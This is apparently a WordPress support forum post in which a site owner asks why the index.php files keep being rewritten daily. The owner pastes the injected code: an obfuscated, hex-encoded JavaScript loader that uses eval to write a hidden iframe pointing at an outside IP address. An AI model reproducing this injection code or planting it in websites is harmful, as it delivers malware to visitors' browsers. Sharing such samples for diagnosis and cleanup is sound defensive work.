Something rewrites my index.php files – daily

Hi,

Something keeps rewriting my index.php files in the root of my wordpress installation and in the wordpress folder itself. On a DAILY basis.
I keep replacing the files with a clean version, but it comes back the next day, causing Safari to tell me that my site may harm my computer.
The code I get is this:

<script>
c10zf0='';
y383d2d0=/* ye455a75d646 */document;
y383d2d0.write('<scr'+'ipt>function y6c83f2(ya5aec4){return e'+c10zf0+'val(ya5aec4);}</scr'+'ipt>');  

function c10b010268y721250a5ae(y79f81){
	var z402='';
	return (y6c83f2('p'+z402+'arseInt')(y79f81,16));
	}

function y1790bb112e(yc7061){
	var yd068f7cd='';
	y8331c4b='fromCh';
	y4037b0b01=String[y8331c4b+'arCode'];
	for(y2cb0547=0;y2cb0547<yc7061.length;y2cb0547+=2){
		yd068f7cd+=(y4037b0b01(c10b010268y721250a5ae(yc7061.substr(y2cb0547,2))));
		}
	return yd068f7cd;
	} 

var y8b79f97f6='3C7363726970743E69662821'+c10zf0+'6D796961'+c10zf0+'297B646F63756D656E742E777269746528756E65736361'+c10zf0+'7065282027253363253639253636253732253631'+c10zf0+'253664253635253230253665253631'+c10zf0+'253664253635253364253633253331'+c10zf0+'253330253230253733253732253633253364253237253638253734253734253730253361'+c10zf0+'253266253266253332253331'+c10zf0+'253332253265253331'+c10zf0+'253337253334253265253332253330253330253265253331'+c10zf0+'253332253330253266253265253634253639253636253266253637253666253265253730253638253730253366253733253639253634253364253331'+c10zf0+'26253237253262253464253631'+c10zf0+'253734253638253265253732253666253735253665253634253238253464253631'+c10zf0+'253734253638253265253732253631'+c10zf0+'253665253634253666253664253238253239253261'+c10zf0+'253335253331'+c10zf0+'253330253334253332253239253262253237253635253334253634253237253230253737253639253634253734253638253364253331'+c10zf0+'253334253331'+c10zf0+'253230253638253635253639253637253638253734253364253333253336253332253230253733253734253739253663253635253364253237253736253639253733253639253632253639253663253639253734253739253361'+c10zf0+'253638253639253634253634253635253665253237253365253363253266253639253636253732253631'+c10zf0+'2536642536352533652729293B7D7661'+c10zf0+'72206D796961'+c10zf0+'3D747275653B3C2F7363726970743E';
y383d2d0.write(y1790bb112e(y8b79f97f6));
</script>

Any idea what I can do to get this nonsense to stop? I checked over all of my files, users, database, to see if there is anything wrong, but apart from that code everything seems fine.

I use these plugins: Akismet, Next-gen gallery, Dagon Design form mailer and Google xml sitemap.
Wordpress version is 2.8.4

Any help will be greatly appreciated, thank you.

Jo